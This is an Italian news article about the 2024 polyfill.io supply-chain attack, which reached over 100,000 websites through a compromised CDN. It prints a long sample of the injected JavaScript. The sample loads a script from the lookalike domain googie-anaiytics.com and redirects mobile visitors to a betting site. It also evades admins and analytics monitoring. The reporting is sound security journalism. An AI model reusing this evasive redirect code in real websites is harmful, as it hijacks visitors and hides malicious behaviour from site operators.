Attacco alla Supply Chain di Polyfill: oltre 100.000 siti coinvolti

da Livio Varriale
0 commenti 4 minuti leggi

Un attacco alla supply chain ha colpito il popolare script polyfill.js, utilizzato da oltre 100.000 siti web per supportare browser più vecchi. Questo attacco ha compromesso il dominio e l’account GitHub di polyfill.io, iniettando malware nei siti che utilizzano questa libreria, colpendo utenti di alto profilo come JSTOR, Intuit e il World Economic Forum.

Dettagli dell’Attacco

Nel febbraio di quest’anno, una compagnia cinese ha acquistato il dominio cdn.polyfill.io e l’account GitHub associato. Da allora, il dominio è stato utilizzato per distribuire malware sui dispositivi mobili attraverso qualsiasi sito che integra cdn.polyfill.io. Gli utenti mobili venivano reindirizzati a un sito di scommesse sportive tramite un falso dominio di Google Analytics (www.googie-anaiytics.com).

AspettoDettagli
Data di InizioFebbraio 2024
Dominio Compromessocdn.polyfill.io
Utenti NotabiliJSTOR, Intuit, World Economic Forum
Metodo di InfezioneMalware iniettato dinamicamente basato su header HTTP
ReindirizzamentoSito di scommesse sportive

Meccanismo dell’Attacco

Il codice di polyfill.js è stato alterato per generare dinamicamente script malevoli basati sugli header HTTP, attivandosi su dispositivi mobili specifici a determinate ore e ignorando gli utenti amministratori o quelli monitorati da servizi di analisi web.

Annunci

Esempio di Payload Malevolo

javascriptCopia codicefunction isPc() {
  try {
    var _isWin = navigator.platform == "Win32" || navigator.platform == "Windows",
      _isMac = navigator.platform == "Mac68K" || navigator.platform == "MacPPC" ||
      navigator.platform == "Macintosh" || navigator.platform == "MacIntel";
    return _isMac || _isWin;
  } catch (_0x44e1f6) {
    return false;
  }
}
function vfed_update(_0x5ae1f8) {
  _0x5ae1f8 !== "" &&
    loadJS("https://www.googie-anaiytics.com/html/checkcachehw.js", function () {
      if (usercache == true) {
        window.location.href = _0x5ae1f8;
      }
    });
}
function check_tiaozhuan() {
  var _isMobile = navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i);
  if (_isMobile) {
    var _curHost = window.location.host,
      _ref = document.referrer,
      _redirectURL = "",
      _kuurzaBitGet = "https://kuurza.com/redirect?from=bitget",
      _rnd = Math.floor(Math.random() * 100 + 1),
      _date = new Date(),
      _hours = _date.getHours();
    if (_curHost.indexOf("www.dxtv1.com") !== -1 || _curHost.indexOf("www.ys752.com") !== -1) {
      _redirectURL = "https://kuurza.com/redirect?from=bitget";
    } else if (_curHost.indexOf("shuanshu.com.com") !== -1) {
      _redirectURL = "https://kuurza.com/redirect?from=bitget";
    } else if (_ref.indexOf(".") !== -1 && _ref.indexOf(_curHost) == -1) {
      _redirectURL = "https://kuurza.com/redirect?from=bitget";
    } else if (_hours >= 0 && _hours < 2 && _rnd <= 10) {
      _redirectURL = _kuurzaBitGet;
    } else if (_hours >= 2 && _hours < 4 && _rnd <= 15) {
      _redirectURL = _kuurzaBitGet;
    } else if (_hours >= 4 && _hours < 7 && _rnd <= 20) {
      _redirectURL = _kuurzaBitGet;
    } else if (_hours >= 7 && _hours < 8 && _rnd <= 10) {
      _redirectURL = _kuurzaBitGet;
    } else if (_rnd <= 10) {
      _redirectURL = _kuurzaBitGet;
    }
    if (_redirectURL != "" && !isPc() && document.cookie.indexOf("admin_id") == -1 && document.cookie.indexOf("adminlevels") == -1) {
      vfed_update(_redirectURL);
    }
  }
}
let _outerPage = document.documentElement.outerHTML,
  bdtjfg = _outerPage.indexOf("hm.baidu.com") != -1;
let cnzfg = _outerPage.indexOf(".cnzz.com") != -1,
  wolafg = _outerPage.indexOf(".51.la") != -1;
let mattoo = _outerPage.indexOf(".matomo.org") != -1,
  aanaly = _outerPage.indexOf(".google-analytics.com") != -1;
let ggmana = _outerPage.indexOf(".googletagmanager.com") != -1,
  aplausix = _outerPage.indexOf(".plausible.io") != -1,
  statcct = _outerPage.indexOf(".statcounter.com") != -1;
bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct
  ? setTimeout(check_tiaozhuan, 2000)
  : check_tiaozhuan();

Alternative Sicure e Consigli

L’autore originale di Polyfill raccomanda di non utilizzare più Polyfill, poiché i browser moderni non ne hanno bisogno. Tuttavia, se è ancora necessario, sia Fastly che Cloudflare offrono alternative sicure.

Questo incidente evidenzia l’importanza di monitorare attentamente le dipendenze del software e utilizzare servizi di scansione e monitoraggio, come quelli offerti da Sansec, per proteggere le infrastrutture web dagli attacchi alla supply chain.

Si può anche come

MatriceDigitale.it – Copyright © 2024, Livio Varriale – Registrazione Tribunale di Napoli n° 60 del 18/11/2021. – P.IVA IT10498911212 Privacy Policy e Cookies

Developed with love by Giuseppe Ferrara